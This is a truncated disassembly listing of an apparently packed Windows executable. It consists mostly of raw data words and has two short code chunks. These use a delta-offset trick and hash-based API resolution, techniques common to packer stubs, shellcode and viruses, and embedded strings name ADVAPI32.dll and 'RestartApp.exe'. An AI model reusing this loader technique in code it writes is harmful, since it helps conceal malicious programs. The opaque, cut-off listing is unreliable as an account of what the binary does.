dd 9092F92Bh, 0AC48050Ch, 401FF5BAh, 0E7EFDAC0h, 0B010552h
dd 0F35DDF36h, 59A8E54Ch, 90FC5090h, 614700C1h, 6EAAA5A2h
dd 0DC09B6DDh, 2B7B4A1h, 281AD18Ch, 0AB4600DCh, 0EF8F7ABCh
dd 2452511Ch, 836E449h, 29063C78h, 1A1FF71h, 79C1DF86h
dd 92933BECh, 440592C0h, 1800F4F5h, 2290F291h, 0D94D00B1h
dd 0B284ACAh, 3705F8AFh, 0F03E3D75h, 0A1389440h, 0C5F35BAh
dd 0F658D14Bh, 0E88B1B78h, 90B59143h, 0C72114D0h, 4A2AA4E7h
dd 28B41278h, 0B8083003h, 330023B6h, 5B868C0Eh, 499DBAFh
dd 0F95390B2h, 248C5B4h, 7B4B9AB4h, 268044AEh, 0D98C8A92h
dd 0F188F400h, 81F8F20Ah, 5F220DB6h, 0F268070Eh, 0EC271020h
dd 93BE04D5h, 87432F22h, 6CE04F0Dh, 4E81B7E1h, 9D67F600h
dd 0F3ADA44Ah, 0B9E6000Bh, 462BD877h, 15509088h, 809F0C0h
dd 10A428CFh, 264DAE38h, 0A80E74Bh, 81BCCD7Ah, 77B7046Bh
dd 89D02044h, 5A96E48h, 9254022Ah, 3FBEC404h, 45F0C8h
dd 46BF84EBh, 4E759636h, 500053EEh, 441BC45Dh, 0A8D30C0h
dd 0EC3481CBh, 0FAFB00B4h, 9D18A2A4h, 0EB0FDC98h, 0A37958DAh
dd 0AF48C4AEh, 575F01AFh, 1414A256h, 0C78FDCFEh, 0B9BD3C0h
dd 7600230Fh, 9983A9C0h, 0F685D781h, 0C68D3E4Dh, 29F46D8Ch
dd 72002541h, 0A645EB48h, 1885611h, 0DD8386C3h, 0F1DC3660h
dd 514EF518h, 0F86AD28Ch, 0A806F31Ch, 0B1E471FDh, 0AFE23DF8h
dd 89E3313h, 4C80CD98h, 222ACF82h, 835E14CCh, 2960A09Ch
dd 6BA89397h, 6DECD30Ah, 183ED0E0h, 0EF50B59Bh, 34BC00BAh
dd 4E19517Fh, 7C18F98Eh, 8B18A6CCh, 93DCA1BEh, 0A014B4D0h
dd 0E62CADh, 77029E4Ch, 0BC80DEF5h, 0EB2D3800h, 0DF2622E5h
dd 8F8600D0h, 9D6DA4A5h, 0AC79798h, 3F508A96h, 4C9BEC77h
dd 7894C8D2h, 3EDC7405h, 6AB443F7h, 0AD80EBE4h, 0B6133026h
dd 84083BB8h, 40BE9CE8h, 17CF6534h, 4F00E775h, 3B3648CDh
dd 58356B0Dh, 22228879h, 80643F48h, 3E1F9ADDh, 0B725189Dh
dd 928DF074h, 0A331C202h, 68537B29h, 0B1ED6C30h, 4BD803A0h
dd 0A8E13E2Ah, 793A70A5h, 4DC4B700h, 0A6C1076h, 48B990h
dd 0A3D87BA8h, 6218BA42h, 8A190591h, 0AB3F0B3Ah, 0BD803B7Dh
dd 8659F648h, 65DB7E09h, 2F80801Ah, 6C7B58h, 1149054Eh
dd 0D21224BEh, 8220563Dh, 181B47DCh, 7C468Eh, 0EF0F7EE2h
dd 865B59B7h, 84CD731Bh, 0B2BEA01Eh, 2F40794h, 560F8111h
dd 0A100D127h, 0B9E27260h, 415E6Fh, 0F973DAE9h, 114A98E5h
dd 481CEC07h, 4C34E101h, 0F2A1C081h, 16008C63h, 2EC6CF83h
dd 8002814Eh, 0B11C91CBh, 0D478C097h, 22D107B8h, 4E2FE724h
dd 4DE23940h, 1513D98Fh
dd 0D8006025h, 7AB8BBB7h, 7CC75CA4h, 586CDC00h, 0AED6A61Eh
dd 0F87488A3h, 8855A524h, 83141980h, 22027EEh, 0B8DDF709h
dd 8C486F3h, 77B60501h, 0F89A56CBh, 35039055h, 85782806h
dd 209BC443h, 0F54DE80Eh, 0B1F37AB2h, 61D40084h, 1DD79B28h
dd 804AE9CFh, 7BC5DD27h, 96020015h, 84F753B9h, 0D0489B31h
dd 903F89ECh, 8DFDACh, 5823BC0Ch, 0F4D47A49h, 0A8970502h
dd 405DD267h, 479A38h, 984366D6h, 0AE2B1F8Dh, 50CFC51Fh
dd 841A1982h, 0B705194h, 3D0FE18Ch, 77BFC0DCh, 0BA970608h
dd 2A23B012h, 0BDE409h, 0A1BB9548h, 2B7C28CBh, 5DC62E96h
dd 299C8074h, 65CDA843h, 0F4A9050Bh, 55A40494h, 0C925ED46h
dd 0DCD28100h, 0E93B1C9Bh, 0BF6E652h, 702805CAh, 0E3178810h
dd 3E6D51C3h, 0A2F900EFh, 90768197h, 6707899Fh, 0BA2A4DBCh
dd 8EB58300h, 34E54A5Fh, 8CC0801Ch, 0F4A002AFh, 6609035h
dd 0F69B6A61h, 376D0F7Bh, 0FA7CE065h, 0BD7F4B80h, 63580FC0h
dd 70F14E1Fh, 6E098BD6h, 6C6C11F5h, 7E55DF0h, 0C4550EC3h
dd 60A3E0CAh, 0A638883Dh, 4F919233h, 82731840h, 7EDD401h
dd 0CCC462DFh, 3851C0FEh, 290645ECh, 1AB97520h, 44EA179Ch
dd 2C7814B4h, 286DBEC0h, 51CB5071h, 7BFC90A5h, 255F0055h
dd 3957F74Eh, 171DD061h, 0F31D4285h, 90BC4754h, 0FB641E5Ch
dd 0EA383480h, 1575D1h, 1E20D0AFh, 78A0FE2Ah, 104AD8A1h
dd 6B83F66h, 9193964Dh, 0E1008151h, 0EB7D2B0Eh, 666017h
dd 5D0B3968h, 35BDFA0h, 35A55402h, 66253473h, 6FC10FB4h
dd 5CE0F444h, 1A928853h, 0F9A8AAA0h, 4CE6E83Ch, 59DA8060h
dd 0EF7BECh, 23124203h, 6BE7E924h, 0B8A40B0Ch, 0C8C38F2h
dd 0EE3F46E2h, 4E7B2161h, 32B63B00h, 0F37D9324h, 6E282CFFh
dd 0D49B425Ch, 0EF09D0ECh, 0F1B148Eh, 80408B94h, 349D85D0h
dd 23580402h, 0A2287D60h, 1B380074h, 0B57A22DEh, 2AF74E6h
dd 310F2359h, 58C0B2B1h, 0CC25D325h, 5504109Bh, 0A7E3177Ch
dd 865400D6h, 289C81A5h, 4795D3Bh, 0ABB1F56Bh, 500514FAh
dd 44C06428h, 0FCB9ED9Fh, 6B5E7100h, 7C2B93h, 406D0BC2h
dd 0ED9AAFC4h, 0FF01CC52h, 60FBFFh, 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_54C7AC: ; CODE XREF: start:loc_4E0265j
; DATA XREF: start:loc_4E0086o
jmp loc_54FC51
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
align 4
dd 0A7FFDD00h, 0FFh, 4 dup(0)
dd 0FE030400h, 7Fh, 76456200h, 54h, 7 dup(0)
dd 0A2156000h, 0Ch dup(0)
dd 3F9F800h, 5 dup(0)
dd 54DB7500h, 6 dup(0)
dd 0A794C100h, 5C0000FFh, 2, 5D45E500h, 598B7E00h, 0B8000000h
dd 5 dup(0)
dd 309F300h, 2D72741Fh, 5Fh, 4 dup(0)
dd 0F1BC8A00h, 0FFFFFF36h, 0FFh, 9 dup(0)
dd 0A169DD00h, 2 dup(0)
dd 0FFC3D000h, 0FFh, 0
dd 9D6FE500h, 3 dup(0)
dd 9CF000h, 0
dd 0EA91F500h, 52925A0Eh, 8Fh, 8 dup(0)
dd 0AD030400h, 0E6D70680h, 9D43B677h, 6Fh, 8 dup(0)
dd 0E7796300h, 77h, 7BB45900h, 53h, 0B285F400h, 54DB7500h
dd 3 dup(0)
dd 0ECFEEE00h, 6Bh, 0
dd 0C3458500h, 12h, 0
dd 83E900h, 0
dd 400h, 0A169DD00h, 0
dd 12FEF000h, 0
dd 59ECB700h, 5C3A4300h, 6E755F6Dh, 6B636170h, 7265h, 82h dup(0)
dd 0ACB2D400h, 58002389h, 0
dd 649F00h, 92h, 0
dd 8E800h, 2 dup(0)
dd 0FF971700h, 0FFh, 3 dup(0)
dd 40000000h, 2 dup(0)
dd 0C3E00h, 6 dup(0)
dd 3D00h, 6 dup(0)
dd 8800h, 3 dup(0)
dd 58937900h, 5 dup(0)
dd 14AA6400h, 6 dup(0)
dd 5BBD5300h, 0
dd 0FF9BBC00h, 0FFh, 4 dup(0)
dd 12FF6400h, 0FE030400h, 7Fh, 0
dd 0A169DD00h, 2A5C00h, 0Eh dup(0)
dd 0A2156800h, 0
dd 1FCFC00h, 80h, 0
dd 9916EC00h, 0E793EF58h, 77h, 0FEC6E800h, 7Fh, 200h, 0
dd 0FE030400h, 17Fh, 4 dup(0)
dd 100h, 3 dup(0)
dd 0A242E700h, 34h, 2 dup(0)
dd 12FF6400h, 0Ch dup(0)
dd 0C800h, 4 dup(0)
dd 0A5999500h, 2 dup(0)
dd 58429A00h, 2 dup(0)
dd 6C00h, 12h dup(0)
dd 12FFF000h, 0EC00h, 9 dup(0)
dd 0E2DA00h, 0
dd 3D9400h, 4 dup(0)
dd 0E76A2E00h, 0C3698D77h, 1, 3 dup(0)
dd 0F129B400h, 7003h, 0Ah dup(0)
dd 0FE030400h, 7Fh, 7 dup(0)
dd 0FFA0CC00h, 0FFh, 72661700h, 0A8h, 2 dup(0)
dd 21212100h, 0FE030421h, 0FE0A047Fh, 0A18C0A7Fh, 2 dup(0)
dd 0A00A9A00h, 3 dup(0)
dd 6AEF00h, 0A1A00F00h, 0
dd 58937900h, 0
dd 0A169DD00h, 9 dup(0)
dd 9800h, 2 dup(0)
dd 54CD0900h, 2 dup(0)
dd 0AC00h, 6 dup(0)
dd 0E7796300h, 77h, 0FE030400h, 5810597Fh, 5C607700h, 0D2BB9400h
dd 63h, 0
dd 0E04C1600h, 1, 100h, 0
dd 0A7BD6600h, 0FFh, 0FE030400h, 17787Fh, 7 dup(0)
dd offset dword_5A2400
dd 0
dd 5A1E6100h, 3 dup(0)
dd 0D369800h, 5A000000h, 2, 2 dup(0)
dd 8400h, 1FCFC00h, 0E8361480h, 0FE030477h, 4000007Fh
dd 2 dup(0)
dd 0A7BDA900h, 0FFh, 33333300h, 2 dup(33333333h), 33h
dd 0DD5ECC00h, 77h, 5 dup(0)
dd 58937900h, 0
dd 6AEF00h, 0
dd 165DD300h, 57h, 0
dd 21FFB000h, 2, 2 dup(0)
dd 99E900h, 0
dd 12FEF000h, 9 dup(0)
dd 91FFB000h, 1, 138h dup(0)
dd 5A7FFF00h, 3 dup(0)
dd 69C400h, 0
dd 5890FC00h, 2 dup(0)
dd 58425700h, 0
dd 0FFFFFF00h, 0FFh, 2 dup(0)
dd 5C3A4300h, 444E4957h, 5C53574Fh, 74737953h, 32336D65h
dd 5644415Ch, 33495041h, 6C642E32h, 6Ch, 3Ch dup(0)
dd 4DE00000h, 0DCEDAD00h, 0D8h, 58818100h, 0
dd 5DD2A200h, 7400h, 8 dup(0)
dd 24242400h, 24h, 0F669F500h, 0F8h, 5 dup(0)
dd 0FF919600h, 0FFh, 0Ah dup(0)
dd 57D39E00h, 32h, 2 dup(0)
dd 235E00h, 0
dd 0FE2E9400h, 7Fh, 37077200h, 75h, 5B33E600h, 0Ch dup(0)
dd 8700h, 0E776CD00h, 77h, 0FF8AF000h, 0FFh, 8 dup(0)
dd 0A16CB000h, 0A1FA5600h, 4 dup(0)
dd 26847E00h, 6Dh, 0Bh dup(0)
dd 0D6051700h, 5Ah, 5A08C000h, 9 dup(0)
dd 550A4D00h, 5C1FEB00h, 0Ah dup(0)
dd 0A2C61600h, 7Fh, 100h, 0D93A0B00h, 5Bh, 6BD61600h, 79h
dd 15h dup(0)
dd 3F41F00h, 75h, 3 dup(0)
dd 2D00h, 5 dup(0)
dd 0FE030400h, 7Fh, 3 dup(0)
dd 591ABC00h, 8 dup(0)
dd 3A000h, 4 dup(0)
dd 0E78B8200h, 77h, 2 dup(0)
dd 200000h, 0
dd 215BFB00h, 4A8D8D29h, 0ECh, 6 dup(0)
dd 5BBC8600h, 12FF6400h, 0Ah dup(0)
dd 0A000h, 0
dd 54002300h, 0
dd 6AEF00h, 0
dd 0E82FE800h, 0A991BD77h, 7Fh, 2 dup(0)
dd 0BBC7EF00h, 5Eh, 0
dd 0FE030400h, 66EB397Fh, 0FFh, 0FE030400h, 7Fh, 9000h
dd 12h dup(0)
dd 60EB00h, 0
dd 6AEF00h, 9 dup(0)
dd 5D000000h, 2, 2 dup(0)
dd 3D9400h, 0
dd 5D504600h, 4 dup(0)
dd 0D6ADFE00h, 0BB79DB77h, 1Fh, 6 dup(0)
dd 0A222D800h, 0
dd 42000800h, 2, 0E6772100h, 93D8777h, 7D13Bh, 4001D800h
dd 7 dup(0)
dd 0FE030400h, 7Fh, 0FE030400h, 7Fh, 0
dd 3B000h, 0E21A7A00h, 0F1h, 0AB2FA300h, 0FFh, 4 dup(0)
dd 0FE477800h, 0FFh, 0D1A2F300h, 0D2h, 5 dup(0)
dd 400h, 2 dup(0)
dd 9CADFB00h, 14h, 0AF000000h, 0
dd 5A9F2F00h, 0Ch dup(0)
dd 5B000000h, 2, 3 dup(0)
dd 96337100h, 70h, 0A0003E00h, 5 dup(0)
dd 1FCFC00h, 80h, 2 dup(0)
dd 0C0E39200h, 0ACh, 3 dup(0)
dd 0FF18D000h, 0FFh, 5 dup(0)
dd 7EDB00h, 585C0F00h, 18h dup(0)
dd 0B3FFFD00h, 0
dd 0E8216800h, 77h, 99030400h, 14Dh, 0
dd 0A223E800h, 5 dup(0)
dd 0A169DD00h, 8 dup(0)
dd 59ECB700h, 3 dup(0)
dd 1E000000h, 5ECDCB00h, 2 dup(0)
dd 4C010F00h, 24h, 0Eh dup(0)
dd 5AA2F300h, 2 dup(0)
dd 0FE030400h, 7Fh, 0
dd 2E7200h, 0
dd 12FFE000h, 5 dup(0)
dd 5A95E300h, 2 dup(0)
dd 73655200h, 74726174h, 2E707041h, 657865h, 1FCFC00h
dd 80h, 5ABFCD00h, 7 dup(0)
dd 586B3F00h, 2 dup(0)
dd 2B00h, 2 dup(0)
dd 5C1FEB00h, 4 dup(0)
dd 329D8200h, 40981D06h, 31h, 0
dd 426CB800h, 102h, 0FE030400h, 7Fh, 0Ch dup(0)
dd 0FE030400h, 7Fh, 58429A00h, 2 dup(0)
dd 5A56CC00h, 2 dup(0)
dd 1FCFC00h, 80h, 5 dup(0)
dd 3D9400h, 0
dd 0B800h, 0C00B0000h, 18C20374h, 24448B00h, 0E8530Ch
dd 5B000000h, 17C381h, 5C890000h, 44891024h, 0B85B1424h
dd 0A1A037h, 448BE0FFh, 0E0FF0424h, 13h dup(0)
dd 0EDE900h, 5834DF00h, 0
dd 0F267E00h, 6Bh, 0
dd 0B1633400h, 40000000h, 2 dup(0)
dd 100h, 7 dup(0)
dd 0FE030400h, 7Fh, 2 dup(0)
dd 0E776CD00h, 77h, 0E6003E00h, 5D609677h, 54DEDD00h, 0F5000000h
dd 77h, 0
dd 5AA28C00h, 0E78B8200h, 0A8FCDC77h, 5BB9587Fh, 3 dup(0)
dd 11140200h, 65h, 3 dup(0)
dd 0A1923400h, 4 dup(0)
dd 0E2F500h, 3 dup(0)
dd 0A169DD00h, 0D4C96A00h, 0A7BD6677h, 0FFh, 5 dup(0)
dd 0A18C0A00h, 0
dd 0A00FE600h, 0
dd 0A242E700h, 34h, 5A21A900h, 0
dd 586B5100h, 0FFF99F00h, 0DD9C4AFFh, 47E2817h, 2 dup(0)
dd 55597400h, 86h, 2 dup(0)
dd 3C7A300h, 38h, 10h dup(0)
dd 200h, 0FFD04800h, 0FFh, 0
dd 4A6BD700h, 2, 0F52E0F00h, 0C530DF77h, 0A9h, 2 dup(0)
dd 58002300h, 0Bh dup(0)
dd 1E73CE00h, 6Bh, 35FB9C00h, 7Fh, 2 dup(0)
dd 58FAC500h, 4 dup(0)
dd 183000h, 4 dup(0)
dd 110B5F00h, 0Ah dup(0)
dd 5B000000h, 2, 4A6BD700h, 58103F02h, 6 dup(0)
dd 8D99E900h, 57h, 0CD9DAB00h, 69h, 4 dup(0)
dd 6AEF00h, 3 dup(0)
dd 0FF344800h, 0FFh, 0FF48E500h, 0FFh, 0FE030400h, 7Fh
dd 54002300h, 2 dup(0)
dd 95825900h, 0A169DD71h, 0
dd 170AD00h, 0
dd 4E464C00h, 0A7h, 100h, 4 dup(0)
dd 0A12BDE00h, 3 dup(0)
dd 637E2100h, 12FEF8E1h, 3 dup(0)
dd 0FE1CB000h, 0A232687Fh, 3 dup(0)
dd 974B4000h, 0E7A099FFh, 0EC77h, 0B41B4000h, 53C5D976h
dd 2Fh, 5 dup(0)
dd 0A169DD00h, 0F5180B00h, 77h, 2 dup(0)
dd 0C22D3F00h, 3813h, 6 dup(0)
dd 5BBDCF00h, 7800h, 0Bh dup(0)
dd 0DD000000h, 0A169DD77h, 3 dup(0)
dd 6ADD00h, 0
dd 0E7AC5E00h, 0F68D8D77h, 39h, 100h, 1517E900h, 0C5h
dd 3 dup(0)
dd 0FE030400h, 7Fh, 3 dup(0)
dd 5E1700h, 0
dd 5C841E00h, 9 dup(0)
dd 7C00h, 3 dup(0)
dd 0A6E6F100h, 337D57Fh, 16h dup(0)
dd 185F00h, 3 dup(0)
dd 4497800h, 3 dup(0)
dd 58FAC500h, 0
dd 379900h, 58429A00h, 0
dd 0EA4E6700h, 76h, 0
dd 0FE030400h, 7Fh, 0FE030400h, 7Fh, 0Fh dup(0)
dd 0A170C400h, 4 dup(0)
dd 0E7A5FD00h, 0FBBE0477h, 0FAh, 0ADBC8200h, 2 dup(0)
dd 574DFE00h, 0FFh, 5 dup(0)
dd 99E900h, 0
dd 0FE030400h, 7Fh, 0A3CAFF00h, 0FFh, 0C530DF00h, 0A9h
dd 0D3B43700h, 586B3FB2h, 0Fh dup(0)
dd 0FE030400h, 7Fh, 0
dd 0A37FD800h, 2 dup(0)
dd 0A18C0A00h, 0
dd 586B3F00h, 6 dup(0)
dd 0A109F700h, 9 dup(0)
dd 35FB9D00h, 7Fh, 54EEA500h, 5 dup(0)
dd 58002300h, 5C6CAE00h, 2214000h, 7 dup(0)
dd 0A400h, 0
dd 0E8000h, 0
dd 0FE1CFE00h, 7Fh, 42000000h, 2, 2 dup(0)
dd 0E5D8C200h, 0B9FBF138h, 0C3FDFD78h, 0F3h, 0DFB40800h
dd 42h, 3 dup(0)
dd 6425AB00h, 1, 0FE7A8000h, 7Fh, 5 dup(0)
dd 0A1314500h, 0A2156800h, 15h dup(0)
dd 3E592400h, 0BFh, 10h dup(0)
dd 0A6D44300h, 0FFh, 4FFFBA00h, 2710FFh, 0E805D800h, 77h
dd 4 dup(0)
dd offset dword_5C0900
dd 9 dup(0)
dd 40000000h, 5A3DF300h, 0C0F0BE00h, 0FFh, 8 dup(0)
dd 58000000h, 0
dd 0FFFFFF00h, 0FFh, 0
dd 9B60000h, 1, 2 dup(0)
dd 5501A400h, 72661700h, 0A8h, 2 dup(0)
dd 0A794C100h, 0FFh, 0
dd 7000h, 5 dup(0)
dd 54EEA600h, 5D609600h, 2 dup(0)
dd 644000h, 0A16CB000h, 5 dup(0)
dd 54E27D00h, 2 dup(0)
dd 0E000h, 7 dup(0)
dd 0A13E3B00h, 2 dup(0)
dd 1ED1400h, 4 dup(0)
dd 8D99E900h, 7CEF9757h, 0F8h, 0
dd 0A1939300h, 4 dup(0)
dd 5BB62600h, 0
dd 8000h, 2 dup(0)
dd 0F853B300h, 170AD1Ch, 2 dup(0)
dd 68D95000h, 1902h, 0FE030400h, 7Fh, 6 dup(0)
dd 0FFFF6400h, 0FFh, 3D9400h, 0Dh dup(0)
dd 0A7BD6600h, 0FFh, 3 dup(0)
dd 58143000h, 3 dup(0)
dd 95825900h, 71h, 0
dd 40000000h, 4 dup(0)
dd 352C1D00h, 6Fh, 0
dd 0D8757900h, 71h, 5 dup(0)
dd 0F7EBB300h, 77h, 3 dup(0)
dd 18D200h, 54DB7500h, 65685400h, 6164696Dh, 1Dh dup(0)
dd 8C49C100h, 57h, 5A95E300h, 0
dd 490AC200h, 80h, 0
dd 9000000h, 8E000000h, 2, 5 dup(0)
dd 3A00000h, 0A6F9C100h, 0FFFFFF7Fh, 0FFh, 6AEF00h, 3 dup(0)
dd 0FB097D00h, 0FFh, 5C042500h, 6 dup(0)
dd 0A800h, 5 dup(0)
dd 0DD23D700h, 5BE2FE77h, 4Bh, 2 dup(0)
dd 5BA5B800h, 92E91Bh, 2 dup(0)
dd 0F0CF5000h, 0CBh, 2 dup(0)
dd 0A2B87200h, 0FFh, 0
dd 0A6F07100h, 0FFh, 5 dup(0)
dd 0A1949900h, 58965700h, 2A00h, 0FF000000h, 5DD2A2FFh
dd 4 dup(0)
dd 0A15E2E00h, 5 dup(0)
dd 0A0A26E00h, 7Fh, 5 dup(0)
dd 490AC200h, 80h, 5BB80300h, 0A242E700h, 34h, 9C00h, 59196B00h
dd 4 dup(0)
dd 0E6772600h, 59793177h, 0
dd 40100000h, 0
dd 0A606A500h, 0FFh, 0
dd 170AD00h, 3 dup(0)
dd 143AF00h, 564300h, 0DD59F000h, 0AC004677h, 19EFC00h
dd 80h, 4 dup(0)
dd 0FE317600h, 0A539DA7Fh, 0FF9196FFh, 0FFh, 2Ch dup(0)
dd 0BDA9E900h, 3Ah, 1FCFC00h, 80h, 6 dup(0)
dd 5BBFB200h, 0EB91B300h, 0C0h, 2 dup(0)
dd 0AFB1CA00h, 4 dup(0)
dd 5812B200h, 0
dd 0FF6D1700h, 0FFh, 4 dup(0)
dd 0CFE63200h, 420008FFh, 2, 54E27900h, 2 dup(0)
dd 0FFFEF000h, 4FFh, 7 dup(0)
dd 0FE030400h, 7Fh, 7 dup(0)
dd 0A1A03700h, 3 dup(0)
dd 100h, 5A576200h, 2 dup(0)
dd 6EE2F500h, 55h, 0A242E700h, 34h, 2 dup(0)
dd 0DB7FA700h, 26h, 6AEF00h, 0
dd 5959F800h, 3 dup(0)
dd 0C530DF00h, 6B6A9h, 3 dup(0)
dd 0FE030400h, 7Fh, 0
dd 5B9A6E00h, 200h, 2 dup(0)
dd 5DBD1900h, 0CBh, 0
dd 0E3259900h, 58974A4Dh, 0E83E6800h, 0FC324677h, 0FFh
dd 8 dup(0)
dd 5959F800h, 8 dup(0)
dd 0B7FFEE00h, 0FFh, 7 dup(0)
dd 100h, 2 dup(0)
dd 58E9BC00h, 0
dd 100h, 63h dup(0)
dd 5FF7FF00h, 0
dd 12FEF000h, 6 dup(0)
dd 0E7C48600h, 77h, 5BBC8600h, 0
dd 58E9BC00h, 0Ah dup(0)
dd 99E900h, 5C84E700h, 2 dup(0)
dd 0A58D5300h, 2 dup(0)
dd 0E776CD00h, 12FFE077h, 0E75CB500h, 77h, 3 dup(0)
dd 4001D800h, 5 dup(0)
dd 5B33EF00h, 0A0000000h, 3 dup(0)
dd 586B0100h, 35B00h, 0
dd 0DD189A00h, 77h, 2 dup(0)
dd 59FCD000h, 24h dup(0)
dd 0EC00h, 0C0029F00h, 0EBh, 2 dup(0)
dd 12FEF800h, 7 dup(0)
dd 658B4800h, 2 dup(0)
dd 5AD7C600h, 0
dd 8C00h, 0A2391E00h, 6 dup(0)
dd 148D8D00h, 0DDh, 9400h, 5 dup(0)
dd 5AB0D500h, 0FE030400h, 7Fh, 3 dup(0)
dd 0FFFFFF00h, 0FFh, 40E900h, 0A109F700h, 3 dup(0)
dd 739000h, 5 dup(0)
dd 8E143C00h, 12FF5402h, 5A28C900h, 3 dup(0)
dd 0ACB9BF00h, 5Fh, 0
dd 0FF661700h, 0FFh, 59E2AD00h, 4 dup(0)
dd 1FCFC00h, 80h, 0
dd 5834DF00h, 0
dd 42352100h, 0FE0304DDh, 5900237Fh, 2 dup(0)
dd 0BAB94800h, 11h, 0
dd 0E8FBF000h, 0EBA6E9FAh, 5D45E577h, 9 dup(0)
dd 5A572900h, 2 dup(0)
dd 12FFA400h, 0FFFF4400h, 0FFh, 0Ah dup(0)
dd 100h, 21h dup(0)
dd 451C700h, 39h, 2 dup(0)
dd 597FEF00h, 4 dup(0)
dd 0FE0A0400h, 7Fh, 316A1000h, 2, 2 dup(0)
dd 0A5A5E700h, 99E900h, 0
dd 0A39BAC00h, 0A222D800h, 3 dup(0)
dd 4ACDCE00h, 2Fh, 3 dup(0)
dd 0FE030400h, 7Fh, 2 dup(0)
dd 56380200h, 82h, 5 dup(0)
dd 12FF2400h, 17h dup(0)
dd 0A3B13400h, 30EB00h, 0
dd 2300h, 0Ch dup(0)
dd 5B9EA400h, 100h, 0Ch dup(0)
dd 8358300h, 7401DD88h, 5643D8h, 2 dup(0)
dd 0E1FFFD00h, 1, 4 dup(0)
dd 58812700h, 59396400h, 0FE030400h, 7Fh, 5 dup(0)
dd 4A8D8D00h, 0A242E7ECh, 34h, 3 dup(0)
dd 0C409C800h, 2, 6 dup(0)
dd 36363600h, 1FCFC36h, 80h, 5DBD1900h, 0A0B168CBh, 3 dup(0)
dd 0A19C3700h, 0B1FFB000h, 1, 2 dup(0)
dd 58130200h, 6E800h, 0E78D8D00h, 9960B7Dh, 7, 0A1229200h
dd 5 dup(0)
dd 0D4C96A00h, 77h, 1Ch dup(0)
dd 0E6000000h, 77h, 5B995700h, 40339900h, 0B5h, 340A5300h
dd 5Ch, 0FE030400h, 7Fh, 0E8061800h, 77h, 3 dup(0)
dd 8E800h, 58002300h, 4 dup(0)
dd 100h, 12FF5400h, 2 dup(0)
dd 739000h, 0
dd 0ACC68400h, 990304D3h, 0B1A1FE4Dh, 6 dup(0)
dd 9EFC5C00h, 75h, 5 dup(0)
dd 0FFF7CE00h, 0FFh, 0
dd 4A9ABC00h, 2, 2 dup(0)
dd 0C530DF00h, 0A9h, 7 dup(0)
dd 0AB23DF00h, 0FFh, 2 dup(0)
dd 0A242E700h, 34h, 5812DA00h, 3 dup(0)
dd 0A3731600h, 8 dup(0)
dd 0A0D55400h, 5 dup(0)
dd 4E0FF00h, 70h, 4 dup(0)
dd 941D5F00h, 26h, 0B13C00h, 0A826B700h, 0FFh, 3 dup(0)
dd 0D4000000h, 77h, 3 dup(0)
dd 12FFC400h, 3 dup(0)
dd 0BC90AC00h, 1, 0
dd 58CF7300h, 9 dup(0)
dd 0FE030400h, 7Fh, 3 dup(0)
dd 0E001400h, 4 dup(0)
dd 0E922CC00h, 5D478E72h, 0
dd 59E91E00h, 4 dup(0)
dd 0CABBF100h, 25h, 0
dd 0A169DD00h, 5 dup(0)
dd 0A55F3400h, 47E00FFh, 2 dup(0)
dd 28010500h, 0Ah, 0A169DD00h, 5A17A900h, 6 dup(0)
dd 6AEF00h, 3 dup(0)
dd 0FE030400h, 7Fh, 5D2E7300h, 2 dup(0)
dd 5842D300h, 7 dup(0)
dd 5D609600h, 7 dup(0)
dd 0A794C100h, 0FFh, 22222200h, 22222222h, 22h, 3 dup(0)
dd 0B0FB1600h, 0E6770200h, 77h, 0B27BB400h, 0D6h, 490AC200h
dd 80h, 4 dup(0)
dd 0A3428900h, 7Fh, 0
dd 4D844C00h, 5D2E7829h, 5AC70A00h, 2 dup(0)
dd 0CC905D00h, 7Bh, 5 dup(0)
dd 5506A800h, 2Ch dup(0)
dd 5C146100h, 0FE030400h, 7Fh, 739000h, 3 dup(0)
dd 54DF1000h, 5 dup(0)
dd 0DD00000h, 4 dup(0)
dd 14462800h, 6 dup(0)
dd 83E900h, 0A1915B00h, 95824000h, 0FEh, 2 dup(0)
dd 12FF5400h, 1F567200h, 0
dd 6AEF00h, 93B46700h, 8Fh, 0
dd 11111100h, 11h, 8D99E900h, 57h, 8 dup(0)
dd 100h, 0
dd 57D59400h, 87F05700h, 76h, 8 dup(0)
dd 5BCB6500h, 0E75CB500h, 0A39BAC77h, 2 dup(0)
dd 0FE7AE800h, 7Fh, 2 dup(0)
dd 54DEDD00h, 586B3F00h, 0
dd 3787600h, 3 dup(0)
dd 5959F800h, 0Fh dup(0)
dd 7401DD00h, 5A52E6D8h
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_54FC51: ; CODE XREF: start:loc_54C7ACj
mov eax, ebp
mov edx, esp
pusha
call $+5
pop ebp
sub ebp, 7E034AFh
mov [ebp+7E03099h], edx
mov [ebp+7E01B0Dh], esi
mov [ebp+7E00671h], eax
cmp dword ptr [ebp+7E00F8Dh], 0
jz short loc_54FC89
mov ebp, eax
mov esp, edx
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_54FC89: ; CODE XREF: start+6FC67j
mov eax, [esp+40h+var_1C]
mov [ebp+7E01949h], eax
push 45h
call sub_54FD3D
push 783749Ah
call sub_54FD83
push 0A894B25h
call sub_54FD83
jmp loc_54FEC7
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
db 45h
dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h
dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah
dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh
dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h
dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h
dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh
dd 0C1C0BFBEh, 0C3C2h, 2 dup(0)
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_54FD3D proc near ; CODE XREF: start+6FC81p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
pusha
call $+5
pop edx
sub edx, 7E0359Dh
mov ebx, edx
mov [ebp+var_28], 0
loc_54FD59: ; CODE XREF: sub_54FD3D+39j
mov eax, [ebp+var_28]
inc eax
mov [ebp+var_28], eax
cmp [ebp+var_28], 80h
jz short loc_54FD78
mov eax, [ebp+arg_0]
